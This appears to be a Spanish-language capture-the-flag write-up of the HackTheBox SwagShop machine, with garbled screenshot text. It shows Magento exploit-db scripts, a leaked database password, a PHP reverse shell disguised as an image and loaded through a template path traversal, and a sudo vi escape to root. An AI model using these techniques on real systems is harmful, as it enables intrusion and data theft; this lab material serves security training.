Swagshop

##########################maquina linux

SwagShop is an easy difficulty linux box running an old version of Magento. The version is vulnerable to SQLi and RCE leading to a shell. The www user can use vim in the context of root which can abused to execute commands.

Escaneo:

nmap -Pn -sCV 10.10.10.140 -T4

Starting Nmap 7.93 (https://nmap.org) at 2023-10-01 20:26 -05

Nmap scan report for 10.10.10.140 (10.10.10.140)

Host is up (0.077s latency).

Not shown: 998 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

2048 b6552bd24e8fa3817261379a12f624ec (RSA)

256 2e30007a92f0893059c17756ad51c0ba (ECDSA)

_ 256 4c50d5f270c5fdc4b2f0bc4220326434 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)


_http-title: Did not follow redirect to http://swagshop.htb/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds

domino:swagshop.htb



parece haber un sqli




-\$ whatweb http://swagshop.htb/index.php/

http://swagshop.htb/index.php/ [200 OK] Apache[2.4.18], Cookies[frontend], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], HttpOnly[frontend], IP[10.10.10.140], JQuery[1.10.2], Magento, Modernizr, Prototype, Script[text/javascript], Scriptaculous, Title[Home page], X-Frame-Options[SAMEORIGIN]

cms: magento

```
Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
OSVDB-39272: /favicon.ico file identifies this app/server as: Magento Go CMS
OSVDB-39272: //skih/frontend/base/default/favicon.ico file identifies this app/server as: Magento Go CMS
Web Server returns a valid response with junk HTTP methods, this may cause false positives.
DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for detail
```

al utilizar gobuster nos tira error



con nikto encotramos

- + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
- + OSVDB-3268: /app/: Directory indexing found.
- + OSVDB-3092: /app/: This might be interesting...
- + OSVDB-3268: /includes/: Directory indexing found.
- + OSVDB-3092: /includes/: This might be interesting...

- + OSVDB-3268: /lib/: Directory indexing found.
- + OSVDB-3092: /lib/: This might be interesting...

/install.php: install.php file found.

- + OSVDB-3092: /LICENSE.txt: License file found may identify site software.
- + OSVDB-3233: /icons/README: Apache default file found.

con gobuster de nuevo

/media (Status: 301) [Size: 312] [--> http://swaqshop.htb/media/]

/.ht (Status: 403) [Size: 290] /.htm (Status: 403) [Size: 291]

/.html (Status: 403) [Size: 292] /.php (Status: 403) [Size: 291] /index.php (Status: 200) [Size: 16593]

/includes (Status: 301) [Size: 315] [--> http://swaqshop.htb/includes/]

/lib (Status: 301) [Size: 310] [--> http://swagshop.htb/lib/]

/install.php (Status: 200) [Size: 44]

/app (Status: 301) [Size: 310] [--> http://swagshop.htb/app/] /js (Status: 301) [Size: 309] [--> http://swagshop.htb/js/]

/api.php (Status: 200) [Size: 37]

/shell (Status: 301) [Size: 312] [--> http://swagshop.htb/shell/] /skin (Status: 301) [Size: 311] [--> http://swagshop.htb/skin/]

/cron.php (Status: 200) [Size: 0] /LICENSE.txt (Status: 200) [Size: 10410] /LICENSE.html (Status: 200) [Size: 10679]

/var (Status: 301) [Size: 310] [--> http://swaqshop.htb/var/]

en /app


```
C A
                         🔘 🧏 swagshop.htb/app/etc/local.xml
🕨 YouTube 🜘 DeepL Translate - El m... 🗀 Machine Excell 🗀 Training 🗀 ACTIVE DIRECTORY
    <re><re><re></re></re>
    -<db>
      <table_prefix></table_prefix>
     </db>
   -<default_setup>
     -<connection>
         <host>localhost</host>
        <username>root</username>
        <password>fMVWh7bDHpgZkyfqQXreTjU9</password>
         <dbname>swagshop</dbname>
        <initStatements>SET NAMES utf8</initStatements>
        <model>mysql4</model>
        <type>pdo mysql</type>
        <pdoType></pdoType>
```

<host>localhost</host>

<username>root</username>

<password>fMVWh7bDHpgZkyfqQXreTjU9</password>
<dbname>swagshop</dbname>

la version de magento la buscamos en internte




https://www.cloudways.com/blog/magento-versions/

Magento CE 1.9.x

2014 - 2015

Several improvements including the addition of infinite themes, responsive theme, responsive emails, etc.



parece que tiene un exploit

copiamos el exploit

```
rm: cannot remove '37977': No such file or directory

debemos configurar el target
busco donde esta la variable

$ searchsploit -m 37977

Exploit: Magento eCommerce - Remote Code Execution
    URL: https://www.exploit-db.com/exploits/37977
    Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
    Codes: CVE-2015-1397, OSVDB-121260

Verified: False
File Type: ASCII text
Copied to: /home/kali/machineshtb/Swagshop/37977.py

(kali@kali)-[~/machineshtb/Swagshop]


[kali@kali]-[~/machineshtb/Swagshop]
```

corremos

```
| Swagshop | Swagshop | Swagshop | Swagshop | Swagshop | Swagshop | Synthon 37977.py | Majorito 1.2 - '/app/code/core/Mage/Admin/Model/Session.php?login['Username']' Cross-Site Scripting | File "/home/kali/machineshtb/Swagshop/37977.py", line 13/code/core/Mage/Adminhtml/controllers/IndexController.php?email' Cross-Site Scripting | Magento shoplift bug originally discovered by CheckPoint team (http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/) | Majorito | Server |
```

pero hay un error si vemos el exploit searchsploit magento -w

vemos target y un url si accedemos a buscarla




Not Found

The requested URL /admin/Cms_Wysiwyg/directive/index/ was not found on this server.

Apache/2.4.18 (Ubuntu) Server at swagshop.htb Port 80

no encontramos nada pero parece ser un error porque si accedemos con index.php si nos deja http://swagshop.htb/index.php/admin/Cms_Wysiwyg/directive/index/




encontramos un admin panel cambios la variable target en el script


modificamos varias lineas del script que tenian comentarios y corremos como python2

```
(kali@ kali)-[~/machineshtb/Swagshop]
spython2 37977.py
WORKED
Check http://swagshop.htb/index.php/admin with creds forme:forme
(kali@ kali)-[~/machineshtb/Swagshop]
select dex
modificamos varias lineas del so
```

creds forme:forme aplicamos las credenciales




averiguando debemos conectarnos como admin sin embargo volviendo a recargar




aca tenemos el username

My Account



como ya estamos autenticados parece que podemos utilizar este script



https://www.exploit-db.com/exploits/37811

lo corremos

```
$ python 37811.py sys.exit()
File "/home/kali/machineshtb/Swagshop/37811.py", line 20
    print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
SyntaxError: Missing parenthesesvinically to 'print'. Did you mean print(...)?

(kali@ kali)-[~/machineshtb/Swagshop]
    # Command-line args
    target = sys.argv[1]
```

configuramos el user y pass

sin embargo sigue sin correr viendo el script parece que necesita la libreria mechnize

```
# CVE : none

from hashlib import md5
import sys
import re
import base64
import mechanize

def usage():
    print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
    sys.exit()
```

instalaamos con pip

```
$ pip install mechanizehe exact date from /app/etc/local.xml
faulting to user installation because normal site-packages is not writeable
quirement already satisfied: mechanize in /usr/lib/python3/dist-packages (0.4.8)

Now run the exploit. Note: the exploit requires module mechanize. You c

(kali® kali)-[~/machineshtb/Swagshop]

command pip install mechanize.
```

sin embargo tambine buscamos y se puede utilizar con el siguiente comando sudo apt-get install python-mechanize tambien modificamos la linea del print le agregamos parentesis

```
lef usage():
    print ("Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\"")
    sys.exit()
```

```
except (mechanize.HTTPError, mechanize.URLError) as e:
    print (e.read())
```

compilamos y nos tira lo siguiente

```
Traceback (most recent call last):

File "/home/kali/machineshtb/Swagshop/37811.py", line 55, in <module>
br['login[username]'] = username
File "/usr/lib/python3/dist-packages/mechanize/_mechanize.py", line 809, in __setitem__
self.form[name] = val
File "/usr/lib/python3/dist-packages/mechanize/_form_controls.py", line 1963, in __setitem__
control = self.find_control(name)
File "/usr/lib/python3/dist-packages/mechanize/_form_controls.py", line 2355, in find_control
return self._find_control(name, type, kind, id, label, predicate, nr)
File "/usr/lib/python3/dist-packages/mechanize/_form_controls.py", line 2445, in _find_control
raise AmbiguityError("more than one control matching " +
mechanize._form_controls.AmbiguityError: more than one control matching name 'login[username]'

[kali® kali]-[~/machineshtb/Swagshop]

Sys.exit()
```

cambiamos las siguientes lineas

```
7 # Command-line args
8 target = sys.argv[1]
9 arg = sys.argv[2]
10
1 # Config.
2 username = 'forme'
3 password = 'forme'
4 php_function = 'system' # Note: we can only pass 1 argument to the function
5 install_date = 'Sat, 15 Nov 2014 20:27:57 +0000' # This needs to be the exact date from /app/etc/local.xml
```


sin embargo al ejecutar nuevamente nos tira este error.

Como no se soluciono buscamos otro metodo plugin malicioso o atack froghopper https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper

Aparece parte de lo que ya tenemos pero con otro parte adicional

Compromise

The Magento system is a Content Management System (CMS) and therefore allows administrators to change the content of the site, including adding new products but also changing the design of pages. The CMS also enables the administrator to directly edit the HTML code of the pages, which means our attacker can not only delete content but add content too; including malicious scripts. Illustrations 6 & 7 show an example of this type of attack where a JavaScript insert has been placed in the footer section, which is then loaded on every page. In this example, a JavaScript alert box is triggered, but a JavaScript could be inserted which scrapes form data, such as from a payment card details form, and forwards it to a third party.



aca nos dice que tenemos que tener el template configurado

Illustration 8: Screenshot of the Magento "Template Settings" box from Magento 1.9.3.2


Now the attacker proceeds to the Magento "Newsletter Templates" section and creates a new newsletter template. The Magento system allows the administrator to include blocks of template code into their newsletters so, for example, they can add the "newsletter signup" module into the newsletter by including the following code snippet:

```
{{block type="core/template" template="newsletter/subscribe.phtml"}}
```


The file "subscribe.phtml" would be found in the "app/design/frontend/base/default/frontend/base/default/template/newsletter" path so the newsletter will default to the "app/design/frontend/base/default/frontend/base/default/template" path. However, by modifying this template path, the attacker can point to their previously uploaded file in the "media/catalog/category" directory. In the example below, the uploaded file was named "h1.jpg" so the appropriate reference would be:

```
{{block type='core/template' template='../../../media/catalog/category/h1.jpg'}}
```


vamos a system - configuration y develoment



Damos en si Template settings y guardar cambios




Si vamos a catalogo y manejo de categorias podemos subir parce un imagen




entonces creamos una reverse shell con extension php y png usamos la de pentest monkey nano reverse.php.png

subimos el archivo




SI le damos click derecho y copiamos el link de php.png nos lleva a un sitio



http://swagshop.htb/skin/adminhtml/default/images/side_col_bg.gif

vamos a newtseler newtseler template y vamos a añadir nuevo template




siguiendo la guia nos dice que debemos aplicar un path traversal de la ruta de la imagen que subimos

The file "subscribe.phtml" would be found in the "app/design/frontend/base/default/frontend/base/default/template/newsletter" path so the newsletter will default to the "app/design/frontend/base/default/frontend/base/default/template" path. However, by modifying this template path, the attacker can point to their previously uploaded file in the "media/catalog/category" directory. In the example below, the uploaded file was named "h1.jpg" so the appropriate reference would be:


```
{{block type='core/template' template='../../../media/catalog/category/h1.jpg'}}
```

escribimos lo siguiente cambiamos basicamente la parte del jpg


{{block type='core/template' template='../../../media/catalog/category/reverse.php.png'}}



damos a safe templete luego lo selecionamos y vamos a preview template



sin embargo todavia no tenemos una shell



validando son 6 path traversal {{block type='core/template' template='../../../media/catalog/category/reverse.php.png'}}

mejoramos nuestra shell

python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm oprimimos Ctrl + Z luego en nuestro kali utilizamos stty raw -echo; fg y luego en victima stty rows 38 columns 116

sin embargo como parece no tenemos python hacemos lo siguiente con bash

script /dev/null -c bash

ctrl +z

```
stty raw -echo; fg
reset xterm
echo $TERM
export TERM=xterm
echo $TERM
en my kali hacemos esto para ver proporcioens
stty size
en victima
stty rows 45 columns 174
```

```
www-data@swagshop:/$ echo $TERM
dumb
www-data@swagshop:/$ export TERM=xterm
www-data@swagshop:/$ echo $TERM
xterm
www-data@swagshop:/$ 

mejora
```

```
(kali@kali)-[~/machineshtb/Swagshop]
$ stty size
38 167

(kali@kali)-[~/machineshtb/Swagshop]
$ sin emiscript /
```

```
www_data@swagshop:/$ ls
bin boot dev etc home initrd.img
old
www-data@swagshop:/$ whoami
www-data@swagshop:/$ stty rows 38 columns=174 go co
```

buscamos la foma de escalar y vemos que parece tener un sudores de vi para el archivo /var/www/html

```
www-data@swagshop:/home/haris$ sudo -\text{\text{\text{three}} ty rows 38 columns 116}

Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/shin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/Ittml/*
    www-data@swagshop:/home/haris$

www-data@swagshop:/home/haris$

echo $TERM
```

buscamos en gtobins

Shell File write File read Sudo

Modern Unix systems run vim binary when vi is called.

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

```
vi -c ':!/bin/sh' /dev/null

(a)
```

debemos usar vi -c ':!/bin/sh' /dev/null sin embargo recordemos que es para /var/www/html entonces la logica dice usar vi en esta ruta y tendremos una shell sudo /usr/bin/vi /var/www/html/ -c ':!/bin/sh' /dev/null

```
www-data@swagshop:/home/haris$ sudo dern Unix systems run vim binary when vi is called.

# ^[[2;1R
/bin/sh: 1: ot found
/bin/sh: 1: 1R: not found
# id
uid=0(root) gid=0(root) groups=0(root)

# ■
```